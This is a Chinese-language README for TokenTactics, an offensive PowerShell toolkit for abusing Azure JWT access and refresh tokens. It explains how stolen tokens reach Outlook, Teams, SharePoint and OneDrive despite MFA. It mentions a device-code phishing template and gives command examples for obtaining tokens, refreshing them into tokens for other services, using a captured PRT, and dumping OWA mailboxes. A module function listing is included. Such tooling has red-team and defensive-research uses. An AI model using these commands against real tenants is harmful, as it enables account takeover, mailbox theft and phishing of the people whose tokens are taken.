Azure JSON Web Token ("JWT") 操纵工具集
Azure 访问令牌允许你以通过设备代码登录的用户身份向特定端点进行身份验证。即使他们使用了多因素身份验证。一旦你获得了用户的访问令牌,就有可能访问某些应用,例如 Outlook、SharePoint、OneDrive、MSTeams 等。
例如,如果你拥有 Graph 或 MSGraph 令牌,就可以连接到 Azure 并导出用户、组等。然后,根据条件访问策略,可以切换到 Azure Core Management 令牌并运行 AzureHound。接着,切换到 Outlook 令牌来读取/发送邮件,或者切换到 MS Teams 来读取/发送消息!
更多关于 Azure 令牌类型的信息,请参见 Microsoft identity platform access tokens
resources 文件夹中包含一些到端点的示例请求。还有一个用于设备代码钓鱼的示例钓鱼模板。
你也可以将这些令牌与 AAD Internals 一起使用。我们强烈建议你查看这个出色的工具。
Import-Module .\TokenTactics.psd1
Get-Help Get-AzureToken
Invoke-RefreshToSubstrateToken
Get-AzureToken -Client MSGraph
用户登录后,你将看到 JWT,并保存在 $response 变量中。要访问访问令牌,请在 PowerShell 窗口中使用 $response.access_token 来显示令牌。你也可以使用 $response.refresh_token 来显示刷新令牌。提示:你需要使用刷新令牌来不断刷新以获取新的访问令牌!默认情况下,Get-AzureToken 的结果会记录到 TokenLog.log 文件中。
Get-AzureToken -Client DODMSGraph
Invoke-RefreshToOutlookToken -domain myclient.org -refreshToken 0.A
$OutlookToken.access_token
Connect-AzureAD -AadAccessToken $response.access_token -AccountId [email protected]
一旦捕获了 PRT,使用 roadrecon 进行身份验证以获得你的 access_token 和 refresh_token。使用 TokenTactics 刷新时,请使用 ClientID 1b730954-1685-4b74-9bfd-dac224a7b894。
Invoke-RefreshToMSGraphToken -domain myclient.org -ClientId 1b730954-1685-4b74-9bfd-dac224a7b894 -refreshToken 0.A
Invoke-ClearToken -Token All
Get-Command -Module TokenTactics
CommandType Name Version Source
----------- ---- ------- ------
Function Invoke-ClearToken 0.0.2 TokenTactics
Function Invoke-DumpOWAMailboxViaMSGraphApi 0.0.2 TokenTactics
Function Invoke-ForgeUserAgent 0.0.2 TokenTactics
Function Get-AzureToken 0.0.2 TokenTactics
Function Get-TenantID 0.0.2 TokenTactics
Function Invoke-OpenOWAMailboxInBrowser 0.0.2 TokenTactics
Function Invoke-ParseJWTtoken 0.0.2 TokenTactics
Function Invoke-RefreshToAzureCoreManagementToken 0.0.2 TokenTactics
Function Invoke-RefreshToAzureManagementToken 0.0.2 TokenTactics
Function Invoke-RefreshToDODMSGraphToken 0.0.2 TokenTactics
Function Invoke-RefreshToGraphToken 0.0.2 TokenTactics
Function Invoke-RefreshToMAMToken 0.0.2 TokenTactics
Function Invoke-RefreshToMSGraphToken 0.0.2 TokenTactics
Function Invoke-RefreshToMSManageToken 0.0.2 TokenTactics
Function Invoke-RefreshToMSTeamsToken 0.0.2 TokenTactics
Function Invoke-RefreshToO365SuiteUXToken 0.0.2 TokenTactics
Function Invoke-RefreshToOfficeAppsToken 0.0.2 TokenTactics
Function Invoke-RefreshToOfficeManagementToken 0.0.2 TokenTactics
Function Invoke-RefreshToOutlookToken 0.0.2 TokenTactics
Function Invoke-RefreshToSubstrateToken 0.0.2 TokenTactics
Function Invoke-RefreshToYammerToken 0.0.2 TokenTactics
TokenTactics 的方法深受 Dr Nestori Syynimaa 在 https://o365blog.com/ 上的出色研究的影响。